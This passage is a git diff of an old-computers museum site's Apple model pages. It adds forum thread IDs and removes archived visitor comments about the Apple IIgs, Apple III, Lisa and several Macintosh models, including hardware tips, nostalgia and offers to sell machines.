ecstatic! - - author: Skel (Oakville, Ontario, Canada) - date: Saturday 31st May 2008 - text: The Apple IIgs was a beautiful machine. I remember back in high school using them. Indeed, I learned to program PASCAL on an Apple IIgs in that very classroom. I still have those floppy disks and although that classroom is now filled with the latest model of PCs and the IIgs's are all but a memory, I never got around to formatting those disks - there has always been a soft spot for me with these computers. Quite frankly the Apple IIgs was the only Apple computer I've ever really liked, why they rather abruptly discontinued with it's product line I'll never know. - - author: Henry (USA) - date: Monday 21st January 2008 - text: |- - Hi - - After reading your comment on the forum I thought I would share some\ - of my ideas with you on what the problem could be with the Apple IIgs\ - you found. A reason why you might have gotten a spark is because you\ - hadn't waited after the computer was turned off to install the cards.\ - Hopefully the machine was off while you were working :) But the reason why\ - spaks fly every time it turns on, hmmm.. - - The issue might be with the RAM cards you installed with the\ - machine. Try this: Remove all the cards from the slots and make sure the\ - circuit board that would hold the cards is completly free of dust. If it\ - isn't, use a can of compressed air to clean out the dust. Aersol cans of\ - compressed air can be found at any office supply store (OfficeMax,\ - Staples, ect). Pay close attention to the slots where those cards go when\ - cleaning and look for any obstructions (like dust clumps). Once the\ - circuit board is dust free WITH CAUTION start up the Apple IIgs. If there\ - aren't any sparks, turn off the computer, wait about 15 seconds, and put\ - ONE of the cards in. Again, make sure the card itself is free of dust\ - specially the goldfingers (those golden like teeth that go into the\ - slot. Make sure the side of the card with the components is facing AWAY\ - from the power supply. Repeat the test by turning the computer on again\ - carefully. If there are sparks, remove the card and then repeat\ - this same test with the other cards, one by one. - - Remember to excercise extreme caution when working. - - The Apple IIgs is a great computer to use and play some of those\ - nostolgic games from the 80s and early 90s. The GS had great Graphics and\ - Sound; Hence the name. The Apple IIgs shows the great quality that Apple\ - Computers had then and still have today. I have collected a few old\ - Apple Computers and really enjoy using them for fun once in awhile. - - Some good places to find Apple IIgs peripherals, software, accesories\ - is at\ - -Ebay.com\ - -DigitalDinos.com - - Hope I could help,\ - Henry - - author: Eric (USA) - date: Thursday 16th August 2007 - text: |- - I found an Apple IIgs in one of the old computer rooms the other day. It has no hard drive or floppy drive. But a few days ago, I accidentally caused the computer to make a spark. when trying to switch out the RAM location (I've already realized that you put the ram in by slot cards. I didn't put any of the kind of RAM we use these days.) I put it back to the way I found it. Now when i start it up, I get a whole bunch of static. Can anyone help me? - - Email me, please. I don't check forums very often. - - author: Henry (usA) - date: Friday 19th January 2007 - text: Hi, I can answer questions for you on this page! Just send a message! - - author: Henry (USA) - date: Monday 18th September 2006 - text: |- - Do you ever have trouble accessing the Control Panel Program? I know I do. But, to make it easier, try, Apple - control - escape at any time. When you are finished with the control Panel, you can resume what you were doing. I don't know if this is works with all of the ROM versions,\ - but try it. :) - - author: Max (from Italy) (Italy) - date: Wednesday 28th June 2006 - text: |- - Hi,\ - I have found one of these, but it have 110 Vac power supply. I know it's possible to modify some internal jumpers into power supply to switch off one duplicator so it can use 220 Vac (European mains), but I don't know what jumpers rules! I have an Astec power supply. Thanks for any help you may provide. Max - - author: Henry (same as one below) (USA) - date: Friday 16th June 2006 - text: To answere your question Karen, you can use a RCA video cable to plug in to the TV or VCR. This conncets to the video cable port next to the RGB moniter port. The image will appear on your screen in color. (You may need to check your TV set up if you are having difficulties. - - author: karen (Australia) - date: Tuesday 2nd May 2006 - text: |- - Hi,\ - I was wondering how i would go about locating a working screen/terminal for an old Apple IIgs i have - the screen on my current one appears to have died. - - author: Poe (California) - date: Friday 2nd September 2005 - text: Ah, but multitasking and internet is possible. You'll need about four megs of ram and a multitasking program called Soft Switch. As for the internet, it is mainly text based and slow. Ah, but the software base... you have to love it! - - author: Renzin (USA) - date: Wednesday 3rd August 2005 - text: My school has truckloads of these Apples in a storage room. I guess they really must've liked them. I really don't know why they don't wanna get rid of them. I'd like to get my hands on one. - - author: GSGeek (Ste-Therese, Quebec) - date: Thursday 14th July 2005 - text: |- - You said it Poog. It had most of today's desktop features (and Apple's unique Eject command... with burp! sound :^), less multi-tasking and Internet (or TCP/IP) support. It had Apple Talk however, which was fine in classrooms. A hard drive really enhance GS experience.\ - Hmmm... regular keyboard of Mac are probably useable since the GS supports ADB (Apple Desktop Bus). - - author: poog t(^^t) <-that's me (America) - date: Friday 3rd June 2005 - text: |- - hey, can I use a regular computer mouse for this computer? What about keyboard (they have these awesome LED glowing keyboards at thinkgeek.com and I thought it would be funny to hook it up to my 'gs.) ?\ - Oh, and this computer is so freaking awesome! - - author: Henry (Again) (US of A) - date: Tuesday 24th May 2005 - text: |- - When you turn on you IIgs and get:\ - -CHECK STARTUP DEVICE-\ - Don't Freak out! It's perfectly normal. You see,\ - It's looking for a floppy drive with a program disk in it to read. The start up device is the floppy drive(s) and/or the hard drive. WARNING! THE APPLE IIGS CPU DOES NOT HAVE A HARD DRIVE. It's a sepereate Pheripheral that is external; always out side of the CPU. If you have purchased a "new" Aple IIgs without software, YOU NEED software to run it. Software on floppies for the Apple II.T he Apple IIgs can run any of the previous Apple II series software. That's the best part about it! - - author: Henry (US of A) - date: Tuesday 24th May 2005 - text: |- - You can change the speed of your Apple IIgs by using the control panal program that is built in. To access it, turn on the unit. When the Apple Computer inc. 1977-1987 screen comes up press CONTROL-OPTION-RESET. Press as many times as you need to then the control panal application will come up! - - P.S. Hold down keys if nessesary. - - author: zach (merrick, ny) - date: Monday 3rd January 2005 - text: i remember using these bastards in 1997 in the first grade (as you can c, i'm not very old) and having Apple IIG's in the classroom. boy... you got really far when on this machine. - - author: Gabe (Houston Texas) - date: Sunday 14th December 2003 - text: Im a comp tech at a school district, and we still got a lab of these little bastards. We never have problems with them. I remember using them when i went to elem school. OMG. - - author: Yves Mc Donald (Quebec, Canada) - date: Thursday 10th October 2002 - text: 'Apple IIgs hardware on a standard PC? Certainly not as far as interface cards are concerned: PC and Apple buses are not compatible. Joystics, mice and keyboard? Forget it, they use different serial buses. Memory chips - IIgs are propably too slow . You could probably salvage SCSI hard disks but what''s the point? They must be of 40 Mb capacity. Just leave your GS as it is and enjoy.' - - author: raf (israel) - date: Sunday 22nd September 2002 - text: can i use any of the apple IIgs hardware on a standart pc computer? - - author: techfury (not telling you) - date: Thursday 27th June 2002 - text: That message is just asking you to insert a disk and reboot. - - author: Matt Taylor (South Carolina) - date: Wednesday 29th May 2002 - text: I recently picked up an Apple IIgs. I would really like to get it up and running the best that it can, ( a hobby project ). I know noting about apple, but am learning. I have a message across the screen that says "check startup device " I am guessing that this is the "screen of death" for the Apple IIgs. Does anyone know where I can purchase hardware/software for the Apple IIgs ? thanks for all your help. - - author: Fabrice Montupet (France) - date: Monday 25th February 2002 - text: 'If you want to see the names of the guys who designed the Apple II GS: when starting the computer without any disk or HD, the following message appears "CHECK STARTUP DEVICE". Then press simultaneously the CTRL + OPTION + APPLE + N keys!' oc_id: 71 source: url: https://web.archive.org/web/20230426111454/http://www.old-computers.com/museum/computer.asp?c=71 diff --git a/content/museum/apple-iii.md b/content/museum/apple-iii.md index ab0390dd..d28d307a 100644 --- a/content/museum/apple-iii.md +++ b/content/museum/apple-iii.md @@ -65,6 +65,7 @@ params: - adverts - hardware - links + forum_thread: 87 photos: - title: LARGER VIEW subtitle: '' @@ -231,34 +232,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: All about Apple II user groups - comments: - - author: David Lowry - date: Monday 22nd August 2016 - text: Steve Wozniak said that the reason the apple /// was so utterly horrible was because it was designed by the marketing people rather than the engineers. He said that the engineers were forced to put in EXTRA chips in the computer to DISABLE the extra memory! It crashed, and was just junk. I am amazed at how expensive these crap-balls are on Ebay. - - author: Doctor Jest (USA) - date: Saturday 3rd August 2013 - text: Steve Jobs was the one that insisted the Apple III had no fan and was completely quiet. - - author: Allison Divette - date: Sunday 18th November 2012 - text: The Apple /// was a failure because it was badly engineered and designed. - - author: yaglourt - date: Thursday 13rd January 2011 - text: |- - Jobs leave apple in 1985, 2 years after the apple III\ - it''s true that Jobs wanted a silent computer (15 years in advance), whence the overheating\ - but it''s not the only cause of the failure - - author: wally - date: Monday 13rd September 2010 - text: Steve jobs had nothing to do wit the Apple 3. He was ousted and creating the NeXt computers. He didn''t return to Apple until 1997 where he bought out PowerComputing PowerMac Clone Company. - - author: Peter F. (Suffolk, UK) - date: Wednesday 23rd January 2008 - text: One of the great touches this computer had was its 2 speed cursor control, press the arrow keys just a little harder and it would click down to cause the cursor to wizz along. - - author: Link (Hyrule) - date: Friday 8th April 2005 - text: I've read that the case design and consequent overheating problems was at the direct insistence of Steve Jobs, who didn't like the noise of a cooling fan, and didn't want to sully the clean aesthetics of the case by adding ventilation slots. - - author: Malc (UK) - date: Tuesday 22nd April 2003 - text: I had an Apple III at work in 1984. I wrote some programs in Basic to automate some office processes. Ours had a 5MB Profile hard drive that sat between the base unit and the monitor. It also had a CPM card (Presumably with a Z80 processor) but we had no disks for it. Unfortunately I left the job before it was disposed of. We had a Superbrain before it and I wish I had gotten hold of that! oc_id: 72 source: url: https://web.archive.org/web/20230426111455/http://www.old-computers.com/museum/computer.asp?c=72 diff --git a/content/museum/apple-lisa-lisa-2-mac-xl.md b/content/museum/apple-lisa-lisa-2-mac-xl.md index cbae5265..70ff2541 100644 --- a/content/museum/apple-lisa-lisa-2-mac-xl.md +++ b/content/museum/apple-lisa-lisa-2-mac-xl.md @@ -73,6 +73,7 @@ params: - links - docs - videos + forum_thread: 275 photos: - title: THE APPLE LISA 2 subtitle: '' @@ -237,46 +238,6 @@ params: - title: Using an Apple Lisa url: http://video.google.com/googleplayer.swf?docId=8523205173324245268&hl=fr text: 'Length: 6 min 07 s' - comments: - - author: Guitardo (Brasil) - date: Wednesday 24th March 2021 - text: Why a site like this doesn''t'' have an article about XEROX ALTO? - - author: Anton Kashirin (Miami, FL USA) - date: Friday 13rd November 2015 - text: |- - Hello, I am doing a project on the apple Lisa and the GUI I thought it would be great that I could interview someone with good knowledge on the topic and you seem to be a great person with a lot of knowledge of Apple could I interview you in a brief email interview? - - Sincerely Anton Kashirin - - Contact pl212401@ahschool.com - - author: Gus Carrau (Argentina) - date: Friday 18th October 2013 - text: In 1984 I bought a LISA 2/5 with a 5Mb profile disc and a dot matrix printer. The system was revolutionary for this year and some Microsoft SW were released. I used the first versions of Excel and Words that were very useful. It is still working although it is a museum device for electronic design. - - author: DABLIK (Czech republic) - date: Tuesday 13rd April 2010 - text: HEllo. i want a old computer. please sends mail to danielsaf@dablik.cz - - author: David Werling (USA) - date: Monday 15th December 2008 - text: |- - While it was billed as an expensive, overpriced executive tool, for which I got in some hot water with the East Providence, RI city council, I actually purchased the system in 1983 with a grant to do what our dumb terminals on the city''s UNIX mini could not do$graphics. - - I was the senior city planner responsible for producing the stats, graphs, maps and plans for the city. With the LISA, I and the in-house graphics artist produced our final documents probably saving the city the cost of the "expensive" Lisa. It was, however, a little hard panning around the small screen and the dot-matrix proofs where not much to look at because desktop publishing with the Laserwriter had not been invented yet. - - author: Peter F. (Suffolk, UK) - date: Wednesday 23rd January 2008 - text: |- - The software company I worked for had one of the very first Apple Lisas. It had two profile hard drives wobbling on the top and run an Apple Pascal compiler.\ - The on/off switch was software controlled and took ages to close all the open files as it powered down.\ - Also the computer had its own unique serial number that you could use to 'lock' and written application to run on (ie software piracy)\ - I also remember the fabled twiggy drives and disks but these were quickly updated to these new fangled 3.5" disks. - - author: Werner-T Niemann (Cologne (Germany)) - date: Tuesday 26th June 2007 - text: I saw this computer in 1984 and for, I thougt this is a piece of the future. Compared to other computers of this time, it was a revolution. I was a beginning of a new era. - - author: Renzin (USA) - date: Wednesday 3rd August 2005 - text: A great machine. I heared one in perfect condition might go for $10,000 USD (the origanal price) if it was in perfect conditon. I recently saw one on eBay for $999 USD!!!! It was in reasonable condition with 1 floppy and a SCSI hard disk. - - author: Jhon Deere (tennesee) - date: Tuesday 24th May 2005 - text: OMG!!!! THE LISA IS THE BEST COMPUTER IN THE WORLD!!!!! related: - /museum/apple-macintosh - /museum/apple-macintosh-color-classic diff --git a/content/museum/apple-macintosh-color-classic.md b/content/museum/apple-macintosh-color-classic.md index 11cc1df7..ff737e42 100644 --- a/content/museum/apple-macintosh-color-classic.md +++ b/content/museum/apple-macintosh-color-classic.md @@ -70,6 +70,7 @@ params: - photos - emulators - links + forum_thread: 1017 photos: - title: FRONT VIEW subtitle: '' @@ -195,31 +196,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: Discussion of Macintosh software system - comments: - - author: Andy (Kentucky USA) - date: Monday 2nd February 2015 - text: I worked in Educational Sales at Lexington Computer Store. The entire sales staff got Color Classics as our main workstations (this would have been around 1994). We use FileMaker Pro databases to help us run quotes for clients. We would often $ to B$W mode because it was so much faster than color mode. - - author: Chris (Michigan) - date: Wednesday 20th June 2007 - text: |- - I've said that my School ones are in good shape, but now they're gone. My elemtary school is being torn down and replaced with a new one after 87 years in town. - - So sad, Of the computer's.....I will never know their fate. - - author: William Burnett (USA) - date: Thursday 31st August 2006 - text: This was my favorite computer I ever owned. I traded it for a PowerPC and I regreted it. This was not a fast computer but it had heart. The footprint was wonderful and for a 10" screen it had lots of work area because the display was so crisp. After more than 10 years away from Macs I am back to using a new iMac Intel. It is a great machine but sometimes I miss my little color classic. - - author: John Beeler (USA) - date: Wednesday 14th June 2006 - text: Many people and groups around the world like to super-upgrade Color Classics. It seems quite easy to do. I found a site where a guy had OS 9 and a DVD-Rom drive working with his CC. - - author: Patrick Laign (Surrey, BC) - date: Tuesday 1st November 2005 - text: I remember using these back in grade 1. These netwerked to dot matrix printer made for one noisy computer class. Typing is clarisworks and playing primitive games. Good times :P - - author: Christian Benvenuto ( ) - date: Thursday 30th June 2005 - text: |- - Well, i have to say i used this computer in school before and it's a fairly good computer. - - I noticed the ones my school had, normally had bad overheating problems when it occured but otherwise they worked fine and barely got viruses. I believe my school still has them and that's confirmed due to a recent visit....A whole lab full of them still in good shape.... related: - /museum/apple-lisa-lisa-2-mac-xl - /museum/apple-macintosh diff --git a/content/museum/apple-macintosh-ii.md b/content/museum/apple-macintosh-ii.md index 6f6c1864..5af12bf6 100644 --- a/content/museum/apple-macintosh-ii.md +++ b/content/museum/apple-macintosh-ii.md @@ -69,6 +69,7 @@ params: - adverts - emulators - links + forum_thread: 171 photos: - title: MAIN BOARD EXPLAINED subtitle: '' @@ -204,66 +205,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: Discussion of Macintosh software system - comments: - - author: Dean Filliol (Canada) - date: Thursday 25th March 2021 - text: I was wondering if I could get some feed back about the value on these computer parts I picked up this is what''s on the motherboard Macintosh II Apple computer 1987 820-0163-03 630-0140 The cpu is Motorola 68881RC16A OB79C8726 Thanks Dean any Info - - author: Régis Schmidt (France) - date: Saturday 20th August 2016 - text: The first Color Macintosh of the lab. It drived a double-line CCD sensor for astronomical applications. - - author: mike brohez (United States) - date: Wednesday 16th November 2011 - text: i need to talk to a macII owner about software copy - - author: Ernest - date: Saturday 15th October 2011 - text: |- - To Wally from Ohio, I think your statistics are a bit skewed. I would like to know how a 15Mhz difference in CPU speed (25Mhz of the A3000 to 40Mhz of Mac IIfx) would result in a 10 fold performance increase. - - I could go on at length as to why the Amiga was superior to the Macintosh. The Amiga 3000 started at just over $3000, while the Mac IIfx started at $9000 and went up to $12000. For less than half the base price of a Mac IIfx I could have added a few extras to an A3000 that would run circles around even a higher end Mac IIfx. - - Hardware aside, even the AmigaOS was superior to MacOS. The first AmigaOS supported true pre-emptive multitasking since it''s initial release in 1985. A feature that Mac didn''t get until OSX was released in 1999. - - While Mac and Amiga did at times play leap-frog with each other capability wise, Amiga held it''s lead for the first 2+ years of it''s release and continued to release hardware that would outstrip a comparable Mac at a fraction of the Mac''s price tag. - - author: MIKE T (USA) - date: Thursday 10th February 2011 - text: I have an Apple II, I was just wondering how much they go for. Like on ebay? - - author: wally (Ohio, US) - date: Thursday 6th January 2011 - text: |- - The best thing about the Macintosh IIfx was that it stripped the then competing Amiga 3000 system 10 fold. A 40 MHz 68030 CPU was used and the Amiga 3000 only had 25 MHz - - It was the only 32-bit clean variation of the Mac II series. - - author: Markus (Germany) - date: Wednesday 4th August 2010 - text: |- - The Mac II series was quite good, for the most part.\ - It was possible to swap the motherboards of the Mac II for the one of the Macintosh IIx or IIfx. THAT is compatibility. Every Mac II could have been upgraded with a FDHD SuperDrive upgrade, including disk drives and some chips (and the IWM disk controller was swapped in for a SWIM, compatible with OS/2, DOS/FAT 12 and Apple II ProDOS disks). And the design of the case still lookes good. But RAM was limited to 8 MB (due to the 24-bit addressing mode used) without Mode32, and limited to 20 MB with Mode32, but WITHOUT the SuperDrive upgrade. Maximum Mac OS is version 7.5.5 for Mac II and Mac IIx because of the "32-bit dirty" ROM. - - author: Erik N (Australia) - date: Friday 4th June 2010 - text: I used to own a Mac II - well, my dad had one at his work and they were giving them away when I was 4-5 years old. I got one complete with working monitor, played games and stuff on it, sold it last year - but to this day I am still puzzled at how high resolution high quality images could fit on a 3.5" 800k disk. - - author: Andrew Pantini - date: Tuesday 1st April 2008 - text: |- - I was working for an Apple computer dealer (yes, they had dealers in those days), when the Mac II came out and it was the hottest thing since sliced bread. Because Apple had made inroads in the desktop publishing market, this was highly prized by publishers because it was much easier to expand than the all-in-one Mac systems. - - Two things stand out that come to mind. The first was that this was the first computer I knew that could support large monitors. It was not uncommon for customers to purchase 21 inch color monitors that would allow them to lay out publications in a side-by-side page format. - - The second is the price. This was a VERY expensive computer - nearly $4000 just for the box and it wasn't uncommon to spend another $5000 on a large color monitor and 24-bit video card. - - author: Ricardo (Earth) - date: Friday 9th March 2007 - text: The Macintosh II was a ultimateley expandable Mac for times, you can run it uo to System 7.5 which. The Mac II was an important computer in the Desktop publishing era. - - author: Link (Hyrule) - date: Friday 8th April 2005 - text: Yes, the bondi iMac did use VGA. The internal monitor connects to a standard DB15 port inside the case. - - author: Thor Madsen (Chicago) - date: Monday 15th March 2004 - text: Talk about a great design. I once sold graphic systems - and walked through setting up a card/software in a PC and then this. Nightmare v. Pleasure. The next day I went out and bought a Mac SE. - - author: The Clothist (Seattle) - date: Friday 2nd May 2003 - text: Glad to see the Mac II in it's fair place in a museum such as this. I believe that the original Macintosh II series computers were some of the best products Apple ever put out, and I have gone to lengths to rescue them from garbage dumps, etc., and find them good homes. As a matter of fact, I am writing this on a model IIsi ^\_^ - - author: Bennett Harris (Racine, Wisconsin) - date: Saturday 15th June 2002 - text: Are you selling your Mac2 becase if you are I would be quit interested related: - /museum/apple-lisa-lisa-2-mac-xl - /museum/apple-macintosh diff --git a/content/museum/apple-macintosh-plus.md b/content/museum/apple-macintosh-plus.md index 4c480b7f..ae73489b 100644 --- a/content/museum/apple-macintosh-plus.md +++ b/content/museum/apple-macintosh-plus.md @@ -63,6 +63,7 @@ params: - adverts - emulators - links + forum_thread: 292 photos: - title: BACK COVER subtitle: '' @@ -211,96 +212,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: Discussion of Macintosh software system - comments: - - author: Tim Healey (USA) - date: Friday 13rd May 2011 - text: |- - I have a virtual museum of old Mac computers, each which run perfectly. I have a Quadra 700, that I still ue for graphic work, a PowerMac7300 with extra ran 128mb that I still use for Photoshop and designing agds and addition I have a Mac Clone, a G3 I believe. AQll 3 run perfect and still do the work they inteneded. Is there anyone inerested in buying these wonderful machines? I may keep the PowerMac7300. Actually it''s a PowerMac7200 with the guts of of a 7300. Let me now. Thanks! - - By the way, all come with working monitors and have preloaded software like outlook express, Quarkexpress, photoshop, Adobe acrobat etc. - - Tim healey. - - author: Torin Darkflight (Iowa, USA) - date: Friday 6th August 2004 - text: It is the Mac Plus which made an appearance in the comical Scotty/"Hello Computer!" scene of Star Trek IV. I've always loved that movie, and that Mac. - - author: kamil alrustom (United Arab Emirates) - date: Thursday 26th August 2021 - text: I have MacIntosh plus 512/ 800a s new still running with a floppy with games. including the original bag and the original manuels. how much I can sell all of them. thank you for - - author: Dan Banov (Canada) - date: Wednesday 14th April 2021 - text: I am looking for someone that can convert a power point version 1 to something readable? - - author: Dan Banov (Canada) - date: Wednesday 14th April 2021 - text: I am looking for someone that can convert a power point version 1 to something readable? - - author: Dan Banov (Canada) - date: Wednesday 14th April 2021 - text: I am looking for someone that can convert a power point version 1 to something readable? - - author: Lorenzo - date: Thursday 17th October 2013 - text: |- - Ho da vendere dei prodotti Apple come macintosh plus con scatola originale e accessori. Stampante e scanner Apple.\ - Per info.\ - lorenzo.manna23@libero.it - - author: JayDee (The Netherlandss) - date: Saturday 30th March 2013 - text: |- - @ MARCY BRONFMAN (Croton on Hudson, NY/USA)\ - If the Mac Plus computers are in good shape and still work I''m interested in buying them. - - author: MARCY BRONFMAN (Croton on Hudson, NY/USA) - date: Sunday 24th March 2013 - text: I HAVE 2 USED MACPLUS COMPUTERS AND A DIREC50 HARD DRIVE TO SELL. ANYONE WHO''LL COVER THE SHIPPING COST CAN HAVE THEM. - - author: Jim (Canada) - date: Friday 19th October 2012 - text: |- - I had two of these$ one a 2MB RAM with a 40mb external SCSI HD, another 4MB RAM and 80 mb SCSI HD.\ - These were the first really capable Macs having SCSI, memory slots and a full keyboard.\ - This was the first Apple of any kind that I bought and it was an easy transition from the GEM based Atari ST GUI that I was used to previously. - - author: Nate (Ohio, US) - date: Saturday 4th August 2012 - text: |- - My dad recently retired from teaching. He brought home a very curious looking screw driver with a long narrow shaft and a star bit. I asked him what it was. "Nate," he said "Do you remember the Mac Plus you used to play Stuntcopter, The Manhole, and Cosmic Osmo on? This drill bit was used to upgrade the RAM on the machine so it could run Cosmic Osmo when we got our first CD-ROM drive." - - We ran that machine with all the RAM capability we could muster :-) It was a solid computer that taught me math, and how to read and type. I still remember playing Spectrum Holobyte''s Mac port of Tetris on it. - - Wonderfully solid machine. I still have my 800KB Educorp Floppy diskettes in the house. - - author: Janet Todd (USA) - date: Monday 14th May 2012 - text: |- - I have a Mac Plus IBM\ - Ram Model $ a9m030\ - Serial $346170.. Was wondering if it is worth anything or should I just toss it. - - author: david darlow (wa,spokane) - date: Friday 20th April 2012 - text: i have a mac 1mb that was the original assembley line model that everyone that helped produce signed on the inside of the case,,,,any comments - - author: Jen (bradenton, Fl) - date: Monday 26th September 2011 - text: I have one of the few clear plastic first laptop apple made and they only made about 100 of the clear plastic ones back in 1989 and I have the regular laptop (first one made, but not the clear plastic). How much are these worth. Thanks, Jen - - author: a hau (midwest us) - date: Friday 26th August 2011 - text: I have a mac 512 with an internal thunder drive? It weighs quite a bit. I turn it on annually and admire my MacPaint, MacDraw, MacWrite and Excel programs in thei rgrand simplicity! - - author: bob (usa washington state) - date: Friday 19th August 2011 - text: I have a Mac Plus from way back, what is it worth, where can I get a fair market value for it. thank you - - author: John (RI) - date: Tuesday 19th July 2011 - text: I found one of these in a garage, still operating after 15+ years in storage. I still use it :) - - author: kelly kime (usa) - date: Monday 16th August 2010 - text: |- - Hey your teach would love to revisit lode runner!\ - I ust'' to live in surfers...helensvale....worked @ shooters the night club....sold wine during the day. Miss u guys. - - author: Will M - date: Monday 14th June 2010 - text: The Mac Plus could actually run any os from 1.1 to 7.5. Not just 3, as the description states. - - author: Nigel (Southport, ENGLAND) - date: Tuesday 11th May 2010 - text: My first Mac, won in a competition by someone who decided they did not want it, and gave it to me. Thus started my love affair with Macs. I filled up the memory, and bought a hard disc for it and used to run Illustrator, in the days when you had to render what you had drawn and Photoshop. It was sad to upgrade to a newer Mac, but great to get a colour monitor. - - author: Erik N (Australia) - date: Friday 7th May 2010 - text: My IT teacher still has the same Mac Plus from all those years ago - 24 years old and still running fine! There is only one problem - my IT teacher only has one disk for it, and that is the tutorial disk. - - author: Brian Ingram (Atlanta, GA) - date: Thursday 23rd January 2003 - text: Along with the TI 99 4/A, the Mac Plus was the computer that I grew up with. From the first time I used it as a child, I was amzaed at how easy and intuitive it was to operate. Ever since then, I have been a lifelong admirer of Apple and its Mac OS. To this day, I still own the same Mac Plus and boot it up on occasion to play around with, even if for nothing more than using it as a nostalgic time machine. I will always hold a deep connection to the Mac Plus for all that it allowed me to appreciate about how great and simply elegant a computer could be. related: - /museum/apple-lisa-lisa-2-mac-xl - /museum/apple-macintosh diff --git a/content/museum/apple-macintosh-portable.md b/content/museum/apple-macintosh-portable.md index 9a59459b..1eceaca2 100644 --- a/content/museum/apple-macintosh-portable.md +++ b/content/museum/apple-macintosh-portable.md @@ -66,6 +66,7 @@ params: - photos - emulators - links + forum_thread: 979 photos: - title: LARGE VIEW subtitle: '' @@ -179,42 +180,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: Discussion of Macintosh software system - comments: - - author: Mark Davis (Portland, OR USA) - date: Monday 29th March 2021 - text: While working at Prometheus Products in the late 1980s, I designed an internal 1200 bps modem for the Mac Portable. Apple made a machine available to us, along with detailed engineering documention, expressly for this purpose. - - author: Jeff Meyer (Silly-con Valey) - date: Monday 21st September 2015 - text: |- - With all due respect, this article needs a deep fact check against the Macintosh product timeline and performance comparisons.\ - e.g. the Macintosh Portable was introduced and discontinued several years before the Macintosh II. I suspect that some of the comparisons are being confused with the PowerBook product family. - - author: scott mccockmunchington - date: Monday 2nd December 2013 - text: i found this laptop to be of the upmost quality and not only exceeding but also shattering all my preexisting presumptions! great buy! what a steal! i am a flaming homosexual - - author: Anon - date: Saturday 9th October 2010 - text: Look where the Mac is today!! - - author: walmartcartpusher - date: Saturday 18th April 2009 - text: |- - Macintosh Portable Disk Eject in Space - - http://www.youtube.com/watch?v$e_MfM4j09ME - - author: Henry (Pflugerville TX) - date: Thursday 7th September 2006 - text: |- - Mac Portables are becoming rare, especially in working order. They can still be found once in a while on eBay in "as is" condition for under $50, to which you will need to add another $50 or so to rebuild the battery (you can buy the lead-acid cells which go in the battery), and you will need to find whatever parts are missing (AC adapter, hard drive, etc.). There is a hobbyist who buys, fixes and sells Portables on eBay.You pay a premium, but you get a working system with software & carry case. My sense is that the prices have bottomed out, and will rise from here on, though I wouldn't invest my retirement savings in old Macs. - - The first Mac laptops were not made by Apple, they were made in Boulder, CO by Outbound. The big drawback to the Outbound, and the Atari Spectre as well, is they needed a set of Mac Plus or SE ROMs to run, so you had to buy and gut a Mac. This added a lot of cost, but in the case of the Outbound, when at home the portable could dock with the ROM-less Mac and use it as a second display screen. - - author: Mark (Boston) - date: Friday 25th March 2005 - text: I was tempted to buy a rather expensive Macintosh Portable off of Ebay, but did not know how much they are worth, and at what rate they are gaining value. If any one knows the answer to this it would be vary helpfull to me. - - author: Aleks (Toronto) - date: Wednesday 4th August 2004 - text: The Macintosh Portable was NOT "the first laptop computer with a GUI interface" as stated on the web page. The Atari Stacy laptop had a GUI interface (GEM by Digital Research) and was released befotre the Mac Portable. And in fact, if you plugged in a commercially available product called the Spectre GCR, it ran the MacOS as well. That's right, the first Mac laptop was not made by Apple at all, but rather by Atari. Which is fitting, since Steve Jobs worked at Atari (made Breakout) before working at Apple! :) - - author: Joseph (New Jersey) - date: Thursday 29th April 2004 - text: Can you show a screen shot of what the screen looks like? (It's O.K. if it dosn't work or you cant get a picture.) related: - /museum/apple-lisa-lisa-2-mac-xl - /museum/apple-macintosh diff --git a/content/museum/apple-macintosh-se-30.md b/content/museum/apple-macintosh-se-30.md index ebbb51ec..17b1ee62 100644 --- a/content/museum/apple-macintosh-se-30.md +++ b/content/museum/apple-macintosh-se-30.md @@ -61,6 +61,7 @@ params: tabs: - emulators - links + forum_thread: 173 emulators: - title: Executor url: http://www.ardi.com/ @@ -138,66 +139,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: Discussion of Macintosh software system - comments: - - author: Joshua Carle (United States) - date: Monday 6th June 2022 - text: I have one with all working components as well as extra ram chips plus Mac bag to go with it all that I would sell to someone - - author: Allison Divette - date: Sunday 18th November 2012 - text: I had an SE 30 growing up and it crashed. It did the arpeggio sound the doo doo doo doo - - author: Scot K (NYC - USA) - date: Friday 7th October 2011 - text: I''d be interested in one of SE 30''s. that was my first PC $ when i upgraded many years ago, i didn''t have the foresight to hold onto it for nosatgia, plus, it would make a great prop for a project i am working on. skeating622@hotmail.com - - author: SpringheelMac (Holloman AFB, NM USA) - date: Friday 26th August 2011 - text: |- - Joe- - - If you are serious I would gladly take one or all of them off your hands. Would you like to arrange this? - - author: Joe (Camarillo, CA USA) - date: Wednesday 17th August 2011 - text: I have a few of the APPLE SE 30 laying around. does anyone want them. FREE come get them. - - author: Jamie - date: Wednesday 24th November 2010 - text: You can also replace the ROM SIMM with an IIfx/IIsi one. This enables 32-bit computing and 128MB of RAM - - author: STu - date: Friday 1st October 2010 - text: Got one freshman year in 89 along with an ImageWriterII printer and still have the thing. Went through engineering school (the thing ran Mathmatica!!!) first and later loaded up SoftPC and wrote programs on it for the computer science degree. After that it got moved to the office at the internet startup (95) so we had at least one Mac to figure out how to get them online. If I had the room it would be running now with the old Pyro!!! screen saver instead of boxed away :-( - - author: Jan (The Netherlands) - date: Saturday 20th October 2007 - text: |- - Yes, a great little Mac!\ - I have one with 8Mb, system 7.5.3 and a network card.\ - It is the oldest computer in my network, but it can run a webbrowser and an e-mail cient! - - author: Raps sucks (West Covina) - date: Friday 9th March 2007 - text: |- - i used these at my school in the 1990"s these were great, stoled one of the new units and i have the SE right next to me .\ - This to me is a bussiness computer - - author: '? (?)' - date: Thursday 23rd November 2006 - text: |- - My school had these...\ - Great Machines! - - author: Cary Groneveldt (New York City) - date: Saturday 15th April 2006 - text: |- - I am the absolutely proud owner of an APPLE "Macintosh SE/30" computer & it's the best boxmac APPLE Computer makes! - - Later!\ - 8^ \] - - author: Nate Arnold (USA) - date: Tuesday 18th October 2005 - text: 'This was certainly a classic. The upgrading was a pain. To upgrade the RAM on this macine you needed the following tools: A Sadering Gun (Its Ram didn''t come in sticks at 